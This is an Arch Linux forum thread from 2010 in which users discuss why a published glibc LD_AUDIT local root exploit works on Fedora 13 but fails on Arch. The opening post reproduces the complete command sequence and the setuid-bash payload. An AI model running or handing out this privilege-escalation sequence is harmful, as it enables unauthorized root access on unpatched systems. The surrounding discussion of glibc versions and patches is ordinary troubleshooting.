Why doesn't exploit work in Arch?

sonoran · 2010-10-20 07:55:30

Can anyone explain why this exploit does not work in Arch? http://www.exploit-db.com/exploits/15274/

It does indeed give you root privilege in Fedora 13, but when I try it in Arch both the gnome-terminal and xterm windows simply disappear after entering the last command.

cd /tmp
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/
echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' > payload.c
gcc -w -fPIC -shared -o /tmp/exploit payload.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

badboy · 2010-10-20 09:39:29

if you first exec a new shell or just use one of the vtys you get: "Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!"

Other versions are probably affected, possibly via different vectors. I'm aware
several versions of ld.so in common use hit an assertion in dl_open_worker, I
do not know if it's possible to avoid this.

Is it clear now?

sonoran · 2010-10-20 10:56:07

Thanks for the reply, I hadn't thought to try it in a vty. I was a bit astonished when my terminal windows vanished, and nothing in the logs.

wonder · 2010-10-20 11:12:29

i think is because we have a glibc that is not affected by this. is a snapshot since 20101007

Allan · 2010-10-20 11:21:02

wonder wrote:

i think is because we have a glibc that is not affected by this. is a snapshot since 20101007

Really? What an awesome glibc maintainer we must have!

sonoran · 2010-10-20 11:57:19

So Allan didn't break it after all?

While certain distros-that-will-be-nameless scramble to fix it (http://koji.fedoraproject.org/koji/buil … dID=201079), Arch sails securely on...

Allan · 2010-10-20 12:14:09

Well... we do not actually have the fix Fedora are busy pushing.

So I am really not sure why it does not work. Maybe one of the other patches I used breaks it?

lolilolicon · 2010-10-20 12:45:39

...So Allan somehow broke it after all?

Arch Linux

#1 2010-10-20 07:55:30

Why doesn't exploit work in Arch?

#2 2010-10-20 09:39:29

Re: Why doesn't exploit work in Arch?

#3 2010-10-20 10:56:07

Re: Why doesn't exploit work in Arch?

#4 2010-10-20 11:12:29

Re: Why doesn't exploit work in Arch?

#5 2010-10-20 11:21:02

Re: Why doesn't exploit work in Arch?

#6 2010-10-20 11:57:19

Re: Why doesn't exploit work in Arch?

#7 2010-10-20 12:14:09

Re: Why doesn't exploit work in Arch?

#8 2010-10-20 12:45:39

Re: Why doesn't exploit work in Arch?

Board footer